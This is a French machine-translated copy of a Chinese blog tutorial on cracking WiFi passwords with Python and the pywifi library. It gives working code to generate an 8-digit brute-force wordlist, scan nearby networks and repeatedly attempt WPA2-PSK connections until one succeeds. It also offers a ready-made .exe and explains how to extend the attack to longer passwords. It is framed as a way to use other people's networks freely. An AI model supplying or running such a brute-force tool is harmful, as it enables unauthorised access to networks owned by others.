Apprenez à cracker le WiFi avec Python, la liberté de circulation n'est plus un rêve !

Déclaration de copyright : l'originalité n'est pas facile, le plagiat et la réimpression sont interdits dans cet article, et la contrefaçon doit faire l'objet d'une enquête !

1. Introduction et installation de pywifi

Environnement de développement : Windows10 Python3.6.4
Bibliothèque tierce : pywifi-1.1.12
IDE : PyCharm/Sublime Text

Introduction à pywifi :
pywifi est une bibliothèque tierce en python pour l'exploitation d'interfaces sans fil. Elle peut être utilisée sur toutes les plates-formes et prend en charge Windows et Linux. Ici, nous utilisons pour effectuer des opérations wifi, y compris la connexion, la numérisation, la déconnexion,

etc.

pip install comtypes -i https://pypi.doubanio.com/simple
pip install pywifi -i https://pypi.doubanio.com/simple

insérez la description de l'image ici
pywifi-1.1.12 dépend des comtypes, vous devez donc également installer les comtypes

2. Construction violente de la bibliothèque de mots de passe WiFi

Les mots de passe Wi-Fi sont généralement composés de chiffres (0-9), de lettres (sensibles à la casse) et de caractères spéciaux (!@#&*., etc.). Le mot de passe est stocké dans un fichier txt. Certains mots de passe Wi-Fi peuvent être un peu plus longs. compliqué, il suffit d'allonger la longueur des caractères ou d'ajouter des lettres et des caractères spéciaux. Le

code est le suivant :

astring = "1234567890"    #可添加字母和特殊字符
pwds = it.product(astring, repeat=8)    #8位密码长度
with open(filename, 'a', encoding='utf-8') as f:
    for pwd in pwds:    
        f.write(''.join(pwd))
        f.write(''.join('\n'))

insérez la description de l'image ici

Il existe 100 000 000 types de mots de passe Wi-Fi de craquage par force brute composés de 10 chiffres et l'utilisation de la mémoire est d'environ 953,67 Mo. On peut voir que le craquage par force brute nécessite une mémoire relativement élevée

3. Encodage pour cracker le WiFi

Code de numérisation Wi-Fi :

interface = self.wifi.interfaces()[0]    #使用索引序号0获取第一个无线网卡
interface.scan()
print('扫描WiFi中,请稍后………………')
time.sleep(1)
print('扫描完成!\n' + '*' * 50)
print('\n%s\t%s\t%s' % ('WiFi编号', 'WiFi信号', 'WiFi名称'))
wifiList = interface.scan_results()    #返回一个列表

wifiNewList = []
for w in wifiList:
    wifiNameAndSignal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))   #解决乱码问题并返回元组
    wifiNewList.append(wifiNameAndSignal)

wifi_signal_and_name_list = sorted(wifiNewList, key=lambda i: i[0], reverse=True)    # 按信号强度倒序

index = 0
while index < len(wifi_signal_and_name_list):
    print('%s\t\t\t%s\t\t\t%s' % (index, wifi_signal_and_name_list[index][0], wifi_signal_and_name_list[index][1]))
    index += 1
print('\n' + '*' * 50)

L'effet de balayage est le suivant :
insérez la description de l'image ici

Code de crack WiFi :

profile = pywifi.Profile()    #创建连接文件(对象)
profile.ssid = wifiName        #wifi名称
profile.auth = const.AUTH_ALG_OPEN        #需要认证
profile.akm.append(const.AKM_TYPE_WPA2PSK)    #wifi默认加密算法
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
interface.remove_all_network_profiles()        #删除所有wifi连接文件
tmp_profile = interface.add_network_profile(profile)    #设置新的wifi连接文件

interface.connect(tmp_profile)    #开始尝试连接

startTime = time.time()
while time.time() - startTime < 1.5:
    if interface.status() == 4:
        print('连接成功!%s密码为:%s' % (profile.ssid, pwd))
        exit(0)
    else:
        print('正在尝试用密码 %s 暴力破解…………' % pwd)

L'effet de craquage de la console est le suivant :
insérez la description de l'image ici

empaqueté dans un fichier exécutable .exe , les résultats du test sont les suivants :
insérez la description de l'image ici
insérez la description de l'image ici
On peut voir que le craquage par force brute nécessite beaucoup de mémoire et de temps !

Devoir : Pensez à des algorithmes qui peuvent optimiser la mémoire et le temps ?

Cinq, téléchargement de script .exe

Cliquez sur moi pour télécharger le script .exe

  • Il peut fonctionner avec succès sans configurer d'environnement (seul le WiFi avec un mot de passe à 8 chiffres est pris en charge, si vous voulez cracker un WiFi plus compliqué, vous pouvez étendre la longueur des caractères ou ajouter des lettres et des caractères spéciaux dans le code source)
  • astring = "1234567890" #可添加字母和特殊字符 pwds = it.product(astring, repeat=8) #8位密码长度

6. Informations sur l'auteur

Auteur : Routine de pêche de Xiaohong, Objectif : Rendre la programmation plus intéressante !

Concentrez-vous sur les algorithmes, les reptiles, les sites Web, le développement de jeux, l'analyse de données, le traitement du langage naturel, l'IA, etc., dans l'attente de votre attention, laissez-nous grandir et coder ensemble !

Remarque sur les droits d'auteur : cet article interdit le plagiat et la réimpression, et toute violation doit faire l'objet d'une enquête !

Je suppose que tu aimes

Origine blog.csdn.net/qq_44000141/article/details/128096169
conseillé
Classement